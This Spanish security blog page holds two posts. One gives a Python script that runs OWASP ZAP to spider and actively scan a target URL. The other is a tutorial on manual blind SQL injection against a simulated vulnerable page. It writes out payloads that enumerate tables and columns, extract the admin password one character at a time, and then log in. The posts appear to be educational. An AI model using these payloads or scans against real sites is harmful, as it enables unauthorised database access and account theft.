Mostrando entradas con la etiqueta hacking web. Mostrar todas las entradas
Mostrando entradas con la etiqueta hacking web. Mostrar todas las entradas

11 junio 2014

Zed Attack Proxy o ZAP es un proxy HTTP  ampliamente utilizado en los análisis de seguridad web. Nace como fork de paros, otro viejo conocido. Seguro que junto a Burp, es una de las herramientas más utilizadas para llevar a cabo pruebas manuales.

Una de las opciones más interesantes de las que dispone esta utilidad es la del "spidering" de la aplicación, que permite recorrer la página en búsqueda de recursos y sus formularios, sobre los que posteriormente se harán pruebas de seguridad. Estos tests también pueden ser hechos automáticamente por la propia herramienta. Además, tal y como se puede ver en la comparativa de sectoolmarket sus resultados son bastante buenos. Sobre todo si tenemos en cuenta que es una herramienta gratuita.

Una opción poco conocida es la de utilizar ZAP mediante línea de comandos. Para hacer esto hay que arrancarla y posteriormente interactuar con su API.

Para hacerlo aún más sencillo, os dejo por aquí un script que se encarga de arrancar el proxy y lanzar el análisis devolviendo un JSON con los resultados. Tan solo es necesario dejar el script dentro de la ruta de ZAP e invocarla con la URL a analizar como primer argumento. 


#!/usr/bin/python
import os
import subprocess
import time
from collections import defaultdict
from pprint import pprint
from random import randrange

from zapv2 import ZAPv2
import sys

if len(sys.argv) != 3:
    print 'usage %s <url>' % sys.argv[0]
    sys.exit()

print 'starting ZAP.'
proc1 = subprocess.Popen(['./zap.sh', '-daemon'], stdout=open(os.devnull, 'w'))
print 'proc1 = ', proc1.pid
print 'waiting for ZAP...'
time.sleep(20)

TARGET = sys.argv[1]
print "checking %s with zap" % TARGET
zap = ZAPv2()
zap = ZAPv2(proxies={'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'})
# TODO anyadir urls de otros scanners
zap.urlopen(TARGET)
time.sleep(2)
zap.spider.scan(TARGET)
print "spidering"
while (int(zap.spider.status) < 100):
    print 'Spider progress %: ' + zap.spider.status
    time.sleep(3)
print "spider completed"
zap.ascan.scan(TARGET)
print "spider results:"
pprint(zap.spider.results)

print "scanning"
while (int(zap.ascan.status) < 100):
    print 'Scanning progress %: ' + zap.ascan.status
    time.sleep(3)
print 'scan completed'
zap.core.save_session(sys.argv[2])

print 'hosts: ' + ', '.join(zap.core.hosts)

pprint(zap.core.alerts())

print 'shutting down ZAP ...'
zap.core.shutdown
proc1.kill()

Al final, nada sustituye el análisis manual que haga un hacker experimentado, pero para pruebas concretas, este tipo de soluciones son una buena opción.
Leer más...

09 mayo 2014

Blind Sqli: Cuando la inyección no muestra error





DISCLAIMER: En este post verás que se usa la web de Security By Default como ejemplo de web vulnerable a un ataque Blind SQL Injection. No es que sea realmente vulnerable, sino es una simulación para mostrar el comportamiento. Por motivos legales, he evitado utilizar una web pública, vulnerable a Blind SQL Injection.

Este tipo de vulnerabilidad, es muy poco explotada manualmente, desde que apareció Sqlmap, pero igualmente en este post os quiero enseñar cómo llevarla a cabo. OJO que este tutorial es de inyección SQL a ciegas básico, hay otras técnicas mas avanzadas.

Primero debemos buscar nuestra url vulnerable… ¿Cómo hacemos esto?

RECONOCIMIENTO.


entramos a la web y vemos algo asi :

Imágenes integradas 1

Ok perfecto ahora a detectar…

Suele ser:

La primera sentencia es verdadera debido a que 1=1, y la segunda sentencia 1=0 es falsa. Probaremos la primera sentencia y nos sale lo siguiente:

 Imágenes integradas 2

Y ahora probaremos el falso:

Imágenes integradas 3 

Esto quiere decir que hemos encontrado una web vulnerable a Blind Sql Injection. En resumen, este tipo de explotación lo único que ves es si el resultado es correcto o es falso.

Hago un select a la tabla sbd. Si me da cara de verdadero es que existe la tabla, si me da cara de falso el resultado es falso. Igual pasa al sacar el contenido. S es esto entonces es verdadero, si no, es falso. Lo primero que vamos a buscar en las Blind SQL Injection es nombres de tablas ¿cómo? predicting. Después les enseñaré a hacer matching para sacar de otras formas…

Las inyecciones para sacar nombre de tablas se hacen de la siguiente forma:

 http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM tabla)#

¿Qué es esto? Bueno, lo que estamos haciendo es hacerle un select count pero ¿por qué no solo un select? ¿porque de qué nos sirve una tabla que no tenga registros? Busquemos tablas con nombres populares

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM usuarios)

Imágenes integradas 4

Nada.. probemos otras

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM nombres) 

Imágenes integradas 6

Nada.. seguimos insisitiendo. Recuerden que es SQL Injection a mano.

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(*)) FROM users) 

Imágenes integradas 7

Eureka! Ya tenemos una tabla, que se llama users. Ahora vamos a comenzar a ver qué hay dentro de esta tabla… probando columnas. 

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(name)) FROM users)# 

 Imágenes integradas 8

Nada.. intentemos con otra columna.

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(name_user)) FROM users)#

 Imágenes integradas 9

Así hasta que demos con la correcta.  
Probando http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT(COUNT(name_usr)) FROM users)# 

Imágenes integradas 10 

...ya tenemos el nombre de nuestra tabla de nombres si seguimos buscando así, llegaríamos a la de passwords y otros datos…

Ahora lo que debemos hacer, como estamos viendo que es el ejemplo de un blog, es buscar si hay un link para el perfil o los posts del administrador… Al parecer lo hay en http://securitybydefault.com/blind/users/user.php?id=1 su nombre Xander

Por deducción saqué que el campo de id sería id_usr…
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH(name_usr) FROM users where id_usr=1)#

Al ver el id de xander es el 1, por lógica el id_usr 1 debe ser el de xander veamos cuantos caracteres tiene su nombre… pero por lógica xander = 6 asi que con el 6 me debe salir true…

Imágenes integradas 11

Bien ya tenemos y hemos confirmado que su usuario para loguearse es xander… ahora la pregunta del millón ¿y para sacar el password? primero veamos si está hasheada en md5. En el caso de MD5 de 128 bits se representa típicamente como una cadena de 32 caracteres.

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH (pass_usr) FROM users where id_usr=1) = 32# 

 Imágenes integradas 12

Por lo que vemos, no esta en MD5. Vamos a probar si es mas pequeña que 10 caracteres el password…

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH (pass_usr) FROM users where id_usr=1) < 10#

Imágenes integradas 13 

El admin xander tiene un contraseña corta será menor que 5?

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGTH(pass_usr) FROM users where id_usr=1) < 5 # 

 Imágenes integradas 14

es mayor o igual que 5, probaremos con 5?

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND (SELECT LENGHT(pass_usr) FROM users where id_usr=1) = 5 # 

Imágenes integradas 15

5 caracteres de password ahora como sacar la password? podriamos preguntarle si la password es 12345 pero sería como estar haciendo brute force. Vamos a sacar caracter por caracter con la funcion substring de mysql y ascii…

Vamos a necesitar una tabla ASCII. La lógica es: ascii(substring((consulta),caracter,hastadondellegar))
El código ASCII del carácter 0 es igual a 48. Verifiquemos si el primer caracter es 0

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),1,1))=48# 

 Imágenes integradas 16

Como el resultado es falso, probaríamos sucesivamente con el valor 49 
http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),1,1))=49# 

Imágenes integradas 17 

 y como vemos, es verdadero. Ya tenemos el primer caracter, seguimos con la segunda posición… veamos si es 2 ascii de 2: 50


http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),2,1))=50# 


El segundo carácter 2 ... a ver creo que ya entendieron que el punto es que su contraseña es 12345. ¿Cómo sacamos el 5 en el último carácter?

Imágenes integradas 18

http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),5,1))=53#

Tenemos una buena idea de cual puede ser su contraseña, busquemos el panel, aunque creo que este debió ser el primer paso... si no, te has pegado un rato inyectando para nada. Suponiendo que el panel de control es: http://www.securitybydefault.com/blind/p4n3l, nos podríamos loggear con user: xander pass: 12345

Igual pudimos haber seguido hasta sacar todos los caracteres del password pero era bastante predecible :)


Artículo por cortesía de @Seguridadblanca
Leer más...